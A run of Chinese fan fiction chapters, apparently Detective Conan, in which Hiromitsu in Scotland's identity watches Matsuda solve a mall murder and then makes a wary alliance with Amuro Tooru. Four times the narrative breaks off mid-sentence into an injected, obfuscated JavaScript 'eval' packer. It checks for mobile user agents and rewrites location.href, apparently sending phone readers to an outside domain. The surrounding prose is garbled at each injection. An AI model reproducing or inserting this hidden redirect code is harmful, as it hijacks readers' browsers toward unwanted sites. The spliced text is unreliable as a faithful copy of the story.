景光称他与诸星大是朋友关系,今天是为了购买西装才来到商场的。另外三人与女厕里的死者同为大学同学,直到工作后都还有交流,今天恰巧都有休班,便约着来一场四人约会。 松田先前指认的第一发现人名叫出岛百合子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165316|165107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,紧挨着她的男人名叫北根秀树,两人是情侣关系。 另一个男人名叫岸江优,与死者井之上铃为未婚夫妻。两人从大学开始,已经交往了六年时间。 北根秀树、岸江优、井之上铃三人目前在同一家企业工作,出岛百合子经营着一家自己的服装店。 “没什么好查的吧,警官先生!”岸江优介绍完自己的情况,接着便大吼道,“我们这群人里就百合子一个女人。铃死在女厕所里的话,凶手一定也是个女人啊!毕竟男人进女厕所很显眼的,一定会被发现!” 出岛百合子立刻不甘示弱地吼回去:“小心我把你杀死在男厕所里,每年上坟的时候踢一脚你的墓碑哦!我看有问题的是小优你吧,小铃可是跟我说过,你最近好像勾搭上了自己的上司想要出轨,惹小铃跟你吵了好几次架,恐怕你是恼羞成怒才要干掉她的吧?” “而且,”出岛百合子继续道,“今天商场人又不多,谁会看见进女厕所的到底是男是女啊!何况你是小铃的未婚夫,大家都会以为你要……你要那个!就算进女厕所也很合理,对吧,秀树?” 话题莫名拐到了好友出轨与男女之事上,北根秀树窘迫地低声应了什么,听不清是“是”还是“否”。 岸江优道:“是你嫉妒铃才对吧?嫉妒你们明明是一起长大的,她却有了更好的出路、更高的薪资,所有人都喜欢她,就连秀树都是她吃剩下不要的前男友。” “你!”出岛百合子瞪着眼睛就要扑上去,被北根秀树抓着手腕拦住了。 再这样争下去也不是办法。目暮看向当下最冷静的北根秀树,问道:“你们三个一直是一起行动的吗?” 北根秀树想了想,回答道:“铃过几天要作为公司代表出席会议,我们就想帮她挑件衣服。中途铃和优又吵了起来,铃就哭着跑出去了。大概过了一分钟吧,优见铃还没回来,就追了出去。又过了大概五分钟,两人都没回来,我和百合子就商量着分头去找。我觉得铃可能不想被人见到自己哭的模样,就去问了几个店员试衣间里是否有人。很多店员都见过我。” 岸江优说:“铃一闹脾气就喜欢摔门走人,我以为铃跑出商场了,就去一楼找她。” 出岛百合子说:“一楼有冰激凌店,铃难过的时候喜欢吃甜食,所以我也去了一楼。但没看见小优。”她一手叉腰,一手指向岸江优,恶狠狠地瞪着对方。 “你袖口上的血是哪里来的?”松田忽然问道。 “什么?”出岛百合子见他盯着自己的袖口,将信将疑放下手臂,果然发现了袖口上的一点红痕,尖叫道,“啊?这是什么?我不知道啊!” “看!果然就是这个女人!这是她杀了铃之后留下的!”岸江优大喊。 “怎么可能!”出岛百合子慌了,胡乱打着男友的肩膀道,“说句话啊秀树!我这血是不小心沾到的吧,喂!” “是不小心按到地上的玻璃碴了吧。” “对啊!”出岛百合子像是找到了突破口,“我当时看到小铃的尸体吓了一跳,坐到地上的时候,手意外地按在了玻璃碴上!” “北根秀树先生,”松田像是抓住了什么,势在必得地笑道,“你是怎么知道现场的地上有玻璃碴的?” 5. 四人的约会事件(二) “我……”北根秀树一愣,笑道,“您刚才不是说小心地面嘛,说明地上一定有什么危险的东西,我也只是一猜就猜中了。” “我说的是小心地滑。”松田纠正道,“一般来讲,人们听到卫生间的地面,第一反应应该是担心有水使人滑倒,如果里面有具尸体,让人滑倒的也可能是血。但你想到的不是滑倒后手按在血泊里,所以才沾上血渍,你潜意识里知道女厕的地板上有容易致伤的碎玻璃。在听见出岛百合子的尖叫后,我立刻就守在了现场,可以确定除了她以外,没再有我不知道的人物进入现场。” 松田不容置疑地问道:“北根秀树,你是怎么知道地上有碎玻璃的呢?” “这个……”北根秀树挠挠头,腼腆地解释道,“其实是百合子告诉我的。刚刚您在里面搜查现场时,我们一直在聊天。” “哦……好像是的。”百合子蹙眉回忆,“我确实说到过这个,警官。” “那么,麻烦给我检查一下你的右手吧。”松田不为所动。 北根秀树明显往后缩起了右手。 目暮及时出声:“出岛百合子小姐,请让我们检查一下您的手上有没有明显伤口。” “诶。”出岛百合子犹豫地看了眼男友,还是伸出了手腕。 目暮反复检查后,对松田点了点头。 松田道:“恐怕你袖口上的血迹是北根秀树刚刚拉住你时留下的。你是个很小心谨慎的人,北根秀树,但往往人越想掩饰什么,就越快暴露什么。如果言语上的漏洞不够使你认罪,那就来听听死者的遗言吧。” 众人跟在松田身后,浩浩荡荡地挤进了女厕。 景光首先看见的是一面隔断墙,墙上挖空一个平台,原本是用于摆放花瓶的地方,现在花瓶不翼而飞,只剩下几束百合掉在地上,其中一枝沾了些许血色。碎玻璃碴撒了满地,靠近门边的稍小,靠近死者的更大,形状最明晰的一片可以看出是花瓶瓶口,尖锐的碎裂处溅满了血迹。 死者倒在洗手池前,面朝上,手掌古怪地撑在地板上支起来,向身后指去,形成一个向后爬动的姿势。从拖行的血迹长度判断,她没能挪动多远便死了。她的颅顶有钝器击打痕迹,近锁骨处有圈形的刺穿伤。 凶手大约是抄起花瓶砸向了死者头部,花瓶碎后,瓶口还握在手里,便直接向胸前捅去。随手拿的作案工具、没有收拾的作案痕迹,甚至没有确定死者是否当场死亡,说明凶手是激情犯罪,且时间不够宽裕——因为同伴还在等他。 奇怪的是,死者明明不是当场死亡,却没有爬向门外寻求帮助,反而向门的反方向前进。 那个方位是…… 原来如此。景光理解了死者的“遗言”。 与此同时,松田说道:“‘北’——这就是死者在濒死之际留下的讯息。凶手在激情犯罪后,因为紧张与恐惧,不小心被凶器划伤了手指,没有检查死者的情况,就匆忙离开了现场。北根秀树,现场的花瓶碎片如果被送去检验血迹的话,想必很快就能查到死者之外第二个人的dna,你更喜欢认罪之后再慢慢走程序,还是由警方带着确凿证据找上你家呢?” “秀树?”岸江优难以置信地喊道,像是要从朋友口中扒出一个正确答案。尽管他们之间常有冲突,但总是前天还在争吵,今天就开开心心地约起了烤肉,怎么会有这样不死不休的矛盾呢? 出岛百合子犹豫片刻,猛地去拽北根秀树的手腕,被男友一把甩开。 “啊对啊,是我又怎么样!我看铃那么伤心,就想安慰安慰她啊!结果这蠢女人却不领情,她以前就这样,现在还是这样!她到底凭什么在青森集团晋升得那么快!” 青森集团?景光一惊,这三人都是青森集团的员工? “安慰人安慰到女厕里来了?”松田面无表情,却无端显出些许嘲弄。 “我和铃之间的事,就不用您来置喙了吧,警官大人——嘶。”北根秀树一攥拳,扯到了手心的伤口,疼得倒吸一口冷气。 一切都对上了松田的推理,出岛百合子见状再也忍不下去,甩给男友一个耳光。“小铃……小铃很早就提醒过要我小心你,我从来没听,因为你对我总是那么柔和,怎么会……小铃、小铃……” 她痛哭起来。 凶手跪在那,垂着头,不知想些什么。死者安静地睡在他身后,心里或许有太多没能说出的秘密,却再也说不出了。 案件告一段落,三人被带回警局做笔录。岸江优焦躁地跺跺脚,问道:“我得去打个电话,警官?很快就能回来。” 目暮点头。 景光直觉不对,向诸星大略作示意,抬脚便要追去。 “喂。” 松田拦在了他的面前。 “你们叫什么来着?绿川……绿川……” “绿川隆一。”景光假笑。 “哦,那你呢?”松田又抬头。 “诸星大。” “做什么的?” “乐队。”景光搬出自己的常用说辞。眼看岸江优踅过拐角就要消失,景光匆匆打断道:“抱歉,松田警官,我去个卫生间。” 然后朝岸江优追了过去。 “卫生间?”松田对诸星大挑眉,“卫生间不就在这吗?” “可能是……”诸星大顿了顿,“刚出了命案,阴气重。” “你们可不像会怕这种事情的人。” “那位凶手看着也不像凶手。”诸星大看向正被上镣铐的北根秀树。 松田没应声,追着景光走出两步,被诸星大叫住:“您去哪?” 松田笑了一声。“警察办案,有意见?” 诸星大没再拦他。 * 岸江优走到防火门附近,看身后没人,轻声走进了安全通道。 景光随后出现。 一阵待接通的提示音。 “喂,大人,刚刚发生了一起谋杀案,所以没有接到您的电话……嗯,是意外,不会影响任务的,非常抱歉。” 是岸江优的声音。景光站在靠门边的地方,听不清对面说了什么。 “是的,已经见到了。您是说……” 岸江优好像被吓到了,忽然噤声,过了一会儿才重新道:“您放心,我会在今晚六点随机安排一名员工去进行交易,他对我们的计划一无所知。安室透再有能力,也没法通过他查到我们。” “我们约定了暗号,是在胸前别一朵蓝色玫瑰。” “没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165317|165107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问题,请您放心。再见。” 电话挂断。 景光敛了声息,听见岸江优走上来。他没有急着从退出楼道,而是慢慢向上走。 转过半层楼,有个黑漆漆的人影竖在那儿,抱着手臂,居高临下地俯视他。 景光尴尬地停下。 两人互相望着,耳朵却竖起来听向别处:岸江优慢慢接近的脚步声、开门声、锁舌合上的“啪嗒”声,安全通道内重归宁静。 “松田……警官。”景光道。 “秘密交易?”松田仿佛在咀嚼这个单词,“讲那种电话的人,和偷听讲那种电话的你,看着都让人非常不爽啊。” “您不是也在偷听吗?”景光笑着后退两步。 不对劲,他想,很不对劲。 还做警校生时,鬼冢班F5有一大乐趣,就是做内部小测评。班长的格斗水平、萩原的社交能力……优点往往很好评价,但缺点也要直言,降谷和松田的刺头属性永远是会被拉出来点兵点将的。这倒不是说两人不服管教,而是当“正确路径”与“上司命令”发生冲突时,松田绝对会臭着脸说“不对,我不干”,降谷则会板着脸说“您错了,我认为”。在任务顺利执行前,首先到来的大概会是一场职场整顿。对比鬼佬一天天愁眉苦脸的模样,余下三人完全能够想象两人未来上司的痛苦表情,不由哈哈大笑起来。而此时,松田会臭着脸嚷嚷“我才不会呢”,而降谷故作古板地扣住景光的肩膀,阴沉沉地说“小心我拖你下水哦,Hiro”。 降谷与松田是很少忍耐的人,换句话说,也是不擅长伪装的人。 所以景光看得出来,眼前这个名为松田阵平的男人—— 真的不认识自己。 有问题的是松田吗? 不,当然不是。 是他。 是“苏格兰”。 这世界到底怎么回事! “看来你是不打算承认问题了?”松田把十指捏得嘎嘣作响。 景光知道他不会动手,现在的自己在松田眼中多半还是个“良民”。 “请不要多问了,警官,这涉及到我雇主的隐私。我保证这里不会有您需要担心的问题。” 对,起码不会出现炸弹,不属于你的管辖范围。 “雇主?” “啊,其实我还兼职着做私家侦探。”景光笑笑,戴上兜帽,将食指靠在唇边,“别担心,松田警官,就算真的有什么问题,您也该相信自己同事的能力。那么,再见。” 在确保松田没有追上来后,景光迅速甩开了对方。 他怀疑自己先前的猜测成了真。“苏格兰”现在身份成疑,绝对不能联系警方,否则—— 是联系上线还是自投罗网还真不好说。 诸星大拎着景光的衣服,守在车边,告诉他岸江优已经随警方离开。景光也将刚刚窃听到的对话告知给诸星大,两人决定找机会敲晕岸江优。 在警视厅外守株待兔时,诸星大不知想起什么,慢悠悠地说:“那个松田警官——挺有意思的。” 景光不知道他所谓的意思是什么意思,但多半不是什么好意思,冷冷地瞥了他一眼。“别惹麻烦。” 诸星大耸了耸肩。 6. 06 晚8点,蒂芙斯西餐厅。 舒缓的钢琴调子在餐厅里来回周游。金发的青年穿一身浅灰色西装,坐在13号桌的位置上。路过的侍者见他还未点餐,把菜单递向他。他笑着推开,或许解释了自己在等待朋友。侍者挂着红扑扑的脸颊走了。 景光就是在这时进入餐厅的。 他穿着下午买来的那件深蓝色西装,打一条白色领带,胸袋前别着的蓝玫瑰比西装的颜色稍浅,更接近他的瞳色。诸星大建议他用发胶抹平刘海,被他拒绝了。 “你好,安室君。”景光拉开椅子,坐到了金发青年的对面,“上司派我来和你对接一桩生意。” “别心急,这位先生——怎么称呼?”安室透,这个有着一张娃娃脸的英俊青年,在笑起来时,双眼像狐狸一样勾了起来。 ……好眼熟的笑容。景光幻视。Zero,你绝对剽窃了同期的笑容肖像权吧! 景光张口编名:“小原尊。” “小原君。”安室透笑眯眯地喊来侍者,“小原君还没用餐吧。这是我很喜欢的一家餐厅,由我请客,小原君不必客气。” “这怎么好意思……” 两人推托再三,然而敬业饰演着普通职员的景光偶遇狐狸型狗男,拼尽全力无法抵抗,最终还是接过了安室透的盛邀。 萩原式微笑,再加上对景光特攻的皮囊,让景光怎么看安室透怎么顺眼——如果那双蓝灰色的眼睛里没有流露出陌生的疏离感就更好了。 Zero也不认识自己。景光切开一块烤至五分熟的牛排,外面已被熏成可口的棕红色,但内里柔软,一切即分,带着些许血色。 “安室君知道这是一桩什么类型的交易吗?”景光问道,“说来惭愧,上司虽然派我过来,却什么消息也不肯透露给我,如果我问出了什么蠢问题,还请安室君务必包涵。” “怎么会呢。小原君要知道,有些事了解得越少才越好。”安室透歪着脑袋,名为审视与盘算的怪物从裂隙里探出,下一秒又缩了回去,“不开玩笑啦,其实这次我是受岸江先生委托,送上贵司所需的情报。” “敌对公司的机密吗?” “差不多吧。” 两人都没当真地笑了笑。 侍者送来一瓶甜白葡萄酒。安室透没有让他启瓶,而是自己接过,旋开了瓶塞。 醒酒、斟酒,酒浆在光下折射出明亮的光泽。安室透用两指夹住杯脚,将盛了酒的酒杯推到景光面前。 “这是我最喜欢的一款酒,请小原君赏脸。” “很漂亮的酒,想必味道也很不错。”景光接过它,但没有喝。 “怎么,小原君酒量不好吗?” “确实如此,恐怕安室君这一杯酒就能灌倒我了。” 酒里有迷药的气味。 不过这是好事。毕竟没气味的迷药要多少有多少,对方却偏偏选择了有气味,说明他的目的不是药倒人,而是试探。试探来者不是认不出陷阱的普通人,这是进入下一轮对话的关键。 “我们来玩个游戏吧,安室君。”景光说道,“我向你提问三次,如果你给出的都是正确答案,我就喝下这杯酒。” “要是答错了呢?” “那么游戏失败,浪费一杯美酒而已。” “有趣的提议。”安室透点头,“但要是小原君酒精过敏的话,我也不想勉强您。稍微改下规则吧,每人三个问题,轮流回答,怎么样?” “很公平。” “既然是小原君的提议,那就您先请吧。” 景光十指相交,放松地搭在桌上,问道:“安室君为什么选择了青森集团?” “因为他们可以联系到我想见的人。” “您竟然也有联系不到的对象。” “在拜访别人之前,事先递出一份邀请函,这是文明人都懂的礼节。我是个生意人,不是土匪,不会拿着一把枪就闯进别人家里大开杀戒。”安室透垂着眸子,好像回忆起了什么,“到我了,小原君。青森集团还在招人吗?” “这不是我能决定的。但我想……是的。安室君正在求职吗?” “这是小原君的第二个问题吗?” “不回答也没关系。” “没什么不好回答的。如果我说是,我希望入职青森集团,小原君会帮助我吗?这是我的第二个问题。” “那要看你的身份了,安室君,我总不能帮助商业间谍吧。” “利益的话题永远只有过去和现在。我的身份好与不好,全看贵司能否提供给我足够优厚的利益。不过就目前而言,我很乐意冒着风险寻求贵司认可。” 眨眼频率正常、眼神没有回避或僵直,呼吸平稳、上肢放松……从行为心理学的角度看来,安室透没有说谎,而从景光的视角出发,他也没有抓到降谷零说谎的痕迹。不排除后者经过了专业训练,也不排除后者不再是景光记忆里的那个警校生降谷零,总之目前的安室透说了真话,但这真话巧妙避开了真相。 安室透没有积极承认自己是哪一方的角色。 景光继续道:“这正是我好奇的,所以我的第二个问题是——安室君为什么关注到了我们?” 沉默片刻,安室透吐出了一个字: “药。” 的确,景光从一来到这个世界就经历了立林制药的谋杀案。立林健三郎与黑衣组织之间一定存在着某种超乎寻常的联系,否则不会怀有足以被灭口的药品秘方。期待这样一个庞大的黑暗组织研究一秒痊愈的特效感冒药来笼络世界财富似乎不太现实,黑衣组织的秘密绝对更深更冷,最糟糕的情况下—— 涉及人体实验。 景光一面思索,一面了然地回复道:“安室君对我们的确足够了解。” “只是一些胡乱猜测而已。我的猜测还告诉我——您是来杀我的,小原君。”安室透平静地说,“那么我的第三个问题是,在我踏出这家餐厅的瞬间就会遭到枪杀,对吗?” 景光摇了摇头。 “安室君,你的警惕性很高,但在聚集方面还缺乏一些训练。不必踏出这家餐厅,你已经在狙击手的视野范围里了。” 像是为了印证景光的答案,一个小而又小的激光红点忽然打在了安室透的胸前。后者愣了一下,苦笑道:“我输了。” “我们的游戏还没结束呢,安室君。”景光道,“我最后的问题是——我最爱喝什么酒?” 两人最后的问题算是彻底撕破了今晚无知员工与交易对象的面具。安室透面上的笑意像是一副被刮刀刮平的油画那样消失了,一双蓝灰色的眼睛紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165318|165107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧注视着景光。下垂眼往往使人感到亲切,但大部分时间里,安室透、或者说降谷零自身的气质冲淡了这点,他总是严肃或警觉地看向什么,只在面对幼驯染时是个例外。 景光不知道自己是否还能找回这个例外。这个世界并不适合他。 他当然愿意践守自己入职时的承诺,继续为这个世界献出哪怕是生命的代价,但意义呢? 人是可以“为了”所有人的,却只能“爱”某些人——他的朋友、他的亲人。这个世界里的Zero究竟是什么人?高明哥哥呢? “苏格兰。”安室透屈起指节敲敲桌面,唤回了景光的思绪,“您最喜欢的酒是苏格兰威士忌。” 错了。 我没再打暗语,景光想,他单纯地问着自己爱喝什么酒——那种由谷物或植物酿成的液体,而降谷零——他的Zero是知道正确答案的。 “我——” 景光刚刚开口,忽然喉咙一紧,脑袋沉沉地垂了下去。怎么?发生了什么?脑袋麻木地转动着,一时间思考不清,迟钝地停摆两秒后,景光意识到,是药。没有下在酒里,而是下在了其他地方。 景光咳嗽了三声。 在他对面,安室透的状态比先前放松得多。“你应该检查酒以外的地方,比如餐具之类的……小原君,不,苏格兰前辈。不过请放心,不是什么毒药,只是会让你一段时间没有力气。毕竟我被狙击枪瞄着,而你又那么身强体壮,我得保证自己的安全才行。” 景光不清楚苏格兰的身体是否有过抗药性训练,但他现在的情况确实说不上好:四肢发软,心率下降,对上敌我不明的安室透真是再危险不过。 “我知道你说得出话,苏格兰前辈,请让狙击手撤离。” 安室透托着下巴,景光也强撑着坐在椅子上。在外人眼里,他们依然和和睦睦地吃着晚餐,只是菜点已经凉了。 “安室君费这么大的功夫,应该不只为了保命,也不是为了杀我吧。”景光缓慢而清晰地说道,“从昨晚出现在立林健三郎的别墅开始,你就故意引导我们前来找你,为什么?” “不是告诉过你了吗,前辈?我想加入你们的组织。” “这就是你的诚意?” “有人告诉我,苏格兰是组织里最优秀的狙击手,也是那个琴酒的心腹。我要是能绑架这样一个人,岂不是能写出一份漂亮的简历?” “谁告诉你的?” 安室透没有回答。 “……好啊。”景光半抬右手,指指胸袋里别的玫瑰,“监听器在这儿,想说什么就自便吧。” 安室透搜到监听器,捏在手里转了两下,忽然问:“琴酒在吗?” “你未免太看得起我,安室君。他不在。” 景光说得太过坦然,似乎没能取信于安室透。后者对监听器道:“让你的狙击手撤退,琴酒,还有,想赎回苏格兰的话,今晚十一点,港区码头见。” 随后,他将监听器放到景光嘴边,似乎要求他也说些什么。景光顿了顿,说道:“好吧,就像你听到的那样,琴酒,稍后见——如果你真像他说的那样在意我的话。” 半分钟后,瞄准红点消失了。 远在百米外的诸星大收起枪,回忆着景光向他约定的暗号,抽了一支烟。 7. 07 “今晚的行动不要开枪。” 寻找狙击点时,景光对诸星大道。 “你来动手?” “不……琴酒没有让我杀他。” 杀死安室透是在昨晚那个时候那个场合里的命令,而今天一天琴酒没再提起一个“死”字,甚至把任务全权交给自己这个“失误者”。这对琴酒的性格而言是相当古怪的。 无论安室透的真实身份如何,作为明面上的情报贩子,他却一而再地暴露自己的行动轨迹。景光能看出问题,琴酒也能。 所以景光现在要做的,不是杀人,更不是探查组织流泄的情报,而是尝试接触安室透。 景光道:“如果我咳嗽三声,你就立刻停手。不管目标做什么,你不必理会。琴酒问起来的话,你一五一十地汇报给他就行。” “了解。” ……计划应该在顺利进行吧?景光想。 他正坐在,或者说,半坐半瘫地待在安室透的副驾驶座上,后者还贴心地为他系上了安全带。 “马自达RX-7,不错的车,安室君。”景光虚弱地笑笑,“为什么是它?” “随便选的而已。”安室透没看他,手里的方向盘打了半转,拐到主路上,“我们继续玩个游戏吧,苏格兰前辈。” 车里只听得见景光压抑的呼吸声。 安室透道:“我来陈述一个事件,你猜对,或者不对。” 景光轻轻敲了下侧面车门。 “你不是来杀我的。” 敲了一下。 “我观察你们的组织很久了。” 敲了一下。 “你会死。” 犹豫片刻,敲了两下。 “为什么这么肯定?” “因为你不敢。”景光说,“你背后的存在不会允许你随便杀掉一名代号成员。如果你这样做了,不仅他兜不住结果,你也不会有什么好下场。” “有趣的猜测,苏格兰前辈,但很可惜,我没有什么‘背后的存在’,我是自由职业者。” “马上就不是了。” 关于代号成员间的纠纷,景光也只是道听途说,这还多亏了基安蒂,她那时好像对景光的晋升异常笃定,且组织的现役狙击手里没有一个爱听她讲话甚至真能听进去的,景光竟然就这样入了她的法眼,被拽着倒了一箩筐八卦。 什么卡尔多瓦斯和一个老女人纠缠不清啊,什么伏特加追星追地偶啊,什么琴酒与另一个高层总是意见不合。景光记得那个高层的名字是…… “朗姆。”景光道,“我先前以为岸江优是你投下的饵,但仔细想想,如果你知道我今天的行动路线,完全可以采取一些更明显、更具挑衅性的办法,就像你那天刻意撕下的布条,所以得知我去向的另有其人。” “琴酒口头安排我的行动时,在场几乎都是他那一派的成员,但忠心虽可鉴,想从他们口里套话却不难。如果是代号成员问起的话,很容易就能得知‘苏格兰去了米花百货商店’这条信息。” “也许是琴酒自己透露的呢?” “如果你已经和他搭上了线,那我在做什么,太闲了所以陪你们玩吗?” 安室透失笑。 “你比我想的还要聪明,苏格兰。” “承蒙夸奖。” 笑了一会儿,安室透平静下来,问道:“琴酒不会来的,对吗?” 景光敲了一下。 “那真可惜。我本来准备了很多表演,如果琴酒愿意救你,这便会是一个有如《皆大欢喜》般皆大欢喜的夜晚;如果琴酒没有来……”安室透顿了顿,瞳孔短暂地斜侧过来,看向景光,“但你已经对他失望了,对吗?即使没有我在这里——” “挑拨离间。” “对,挑拨离间。”安室透笑眯眯的,“朗姆说你只是看上去反感琴酒,实则像雏鸟一样依赖他。朗姆多半是老眼昏花了,像琴酒那样的人培养不出你。” 这话听着实在诡异。任何一个正常的成年人都不会且不可能被评价为“像雏鸟一样依赖别人”,除非…… 景光陷入了猜想之中。车内短暂地失去了声音,越来越响的海浪声仿佛海啸从前方扑来;灯光暗下去,有时隔了很久才能亮起一瞬。他们穿行在或明或暗的夜色里,安室透忽然瞥了一眼后视镜,没有说话。 又过了一会儿,车前窗里忽然映出海与天的交界线来。车速下降,直至归零,目的地到了。 他们没有下车,也没人打开车窗,只安静地待在车里。 “我可以帮你。”景光叹了口气。 “帮我?”安室透重复,“我有什么需要你帮的?” “你前前后后分析了一通我,没想过你自己也很好懂吗,安室君?你不是会安分守己的类型。昨天你还做着情报商、地头蛇,今天就向更深的黑暗递出申请;明天你是朗姆的手下,后天……你就会想爬上更高的位置。只是安于现状的话,你永远不会得到自己想要的东西,所以我会帮你。” “真是大胆的说法,苏格兰。如果我身上没有朗姆大人放下的监听器的话,我会答应你的。” “如果你愿意跟我合作,自然有办法解决那点小问题。如果不愿意,那也无所谓,既然那两位的关系已经到这种地步了。”景光道。何况不会有那种东西的,否则他与安室透的对话根本进行不到这里。 “我该怎么才能相信你呢,前辈?” “不需要。就像安室君说的那样,我是不是站在你那一边,全看你是不是能提供给我足够的利益。至于现在,我对你身上蕴藏的利益很感兴趣。” 安室透双眸微眯,定定地注视着景光,眼里涌动着某些深邃的沉思。 “也许前辈愿意给我一些提示?” 这样的安室透像极了景光记忆里向自己求教的青年,只不过那时他们学的是三明治菜谱,眼下却是危险的试探。这一瞬间窥见的裂缝足够让景光露出一个微笑,他说: “你的对错游戏还没结束呢,安室君。” 这之后,安室透望向窗外深黑的远海,沉默许久。 高中某年的暑假,景光曾与幼驯染去过冲绳的海边。他们在那里收获了比平时多出10倍的搭讪,其中九成的搭讪者把手搭上降谷零的肩膀,羞涩又大胆地问:“请问您是在哪儿做的美黑?”降谷零攥紧拳头,生硬而不失礼貌地表示“我没有”。景光在一旁笑得捧着肚子。那是一段再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165319|165107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 美好不过的时光:成绩、升学、与开了又败败了重开的早樱,谁也不会想到他会被公安部选中,会隐姓埋名躲进黑暗深处,会取得“苏格兰”的代号,最后再…… 最后再怎样? 迷药的药效仿佛过了,景光心跳的速率提升。大脑一阵钝痛,像是有人避开了所有神经把它捏在手里,试探这样能否使它炸开正如试探温水能否煮死一只青蛙。 那样的时光,那样的世界,还能回去吗? 这时,安室透开口道:“因为你也有想要的东西。” 景光麻木地敲了一下。 “因为有些东西,只有站在朗姆的位置上才能得到。” 又是一声。 “也因为……”安室透短暂地合上眼睛,“我身上现在就有你需要的东西。” “这个嘛……”景光笑道,“就要看你的身份了。” 你究竟是行走在黑暗里的情报贩子安室透,还是像血液一样流淌在皮囊下,不为人知却仍鲜红活跃的卧底警察降谷零? 让我看看吧,Zero。 “那么……”安室透伸出右手,“合作愉快,苏格兰前辈。” 下了那辆白色的马自达RX-7,景光才终于放松下来。他不喜欢这种交涉,所以最初才会选择狙击手的身份,但好在今晚有惊无险,他期待的结果都一一达成。 药效似乎真的过了。他倚在码头的货堆边,从口袋里摸出一支烟,却发现这身新西装里忘放打火机。 半空中抛来什么东西,景光接住。 “我讨厌烟味,苏格兰。”抛来打火机的安室透皱着眉,如此说道。在景光点燃香烟时,他背过身,摆摆手,“叫你的手下来吧,他都跟踪我们一路了。” 随后,他回到车里,一路绝尘地消失了。 一辆不起眼的私家车缓缓停到景光面前,诸星大走了出来。 “你被安室透发现了。”景光说。 “我知道,光明正大才不会惹人讨厌。”诸星大故意的。 两人上车。 “你似乎聊得很尽兴?” “聊到了琴酒想知道的东西。” 没错,琴酒一定比他更了解朗姆留下的手笔。要想让景光的行踪不为人知,琴酒只要动动嘴皮子(最多高抬贵手举起他的爱枪)就能封住伏特加与基安蒂的嘴。但他没有动,大胆地派苏格兰带着新人走进朗姆的圈套,相信苏格兰能够解决问题,且不想、或不敢反抗。 苏格兰在琴酒心里的可信任度高到令人难以想象的程度。 而现在,景光与安室透达成协议。前者会在朗姆那边挂上“不忠心”的标签,而安室透会在景光的汇报里成为“一条虎视眈眈的鬣犬”。即使安室透出卖他,以朗姆与琴酒的关系,两人也不会互通情报。 一晚加一天,景光终于在紧迫的时间里理清了大致状况,为自己撬开了一个突破口。他有些累了,给诸星大指了个下车位置后便不再讲话。 不过—— “你这辆车是哪儿来的?”景光问。 “路边随便撬了一辆。” “……处理好,别让人抓到。” 诸星大满不在乎地轻哼了一声。 8. 08 琴酒一早就打来电话,让人下楼。要不是身上没有缝合后的刀口,景光说什么也要看看自己体内是不是被塞了定位器。 虽说这里是他的公开住宅,但总有回不了家的意外情况吧?难道琴酒认为昨天的情况不算意外? 万一琴酒到了楼下,景光却不在,他岂不是还要再跑一趟。 ……这么想倒也挺好玩的。 刚下楼,诸星大的问候邮件弹出屏幕,大致内容是请“问”苏格兰有没有新任务给他,他随时“候”命,积极得活像有什么kpi任务。景光看了一眼,没有回。 司机还是伏特加,琴酒坐在后排。景光听说这位组织的顶尖杀手有一辆比面对情人时还要宝贝的二座老爷车,但或许是这几次都要接他,才一直没有开出来。景光还没见过那车。 “要去哪儿?”景光问。如果单纯为了汇报昨天的任务情况,琴酒没必要喊他下来。 “研究所。”琴酒的语气里莫名盈着一股不悦,“雪莉私下联系过你?” 啊。景光想起那封邮件,斟酌地答道:“她有一些……急事。” 琴酒冷笑。“她找你能有什么急事。” 景光心说我也想知道。他实在想不通雪莉的话题有多紧急到需要惊动琴酒,或者说“姐姐”是某种暗语? 他本来想了解更多情报后再去应付苏格兰的熟人,但关于雪莉的一切就好像停电房间里的一台电脑,打不开,看不见,没有任何线索。 倒是研究所这个地点让景光颇感兴趣。 “雪莉申请见你,BOSS同意了。”琴酒眯起眼睛,“你们最好别凑在一起刷什么花招,否则……” 他戴着手套的手搁在膝头,手指缓慢地摩挲。 “不会的。”景光道。 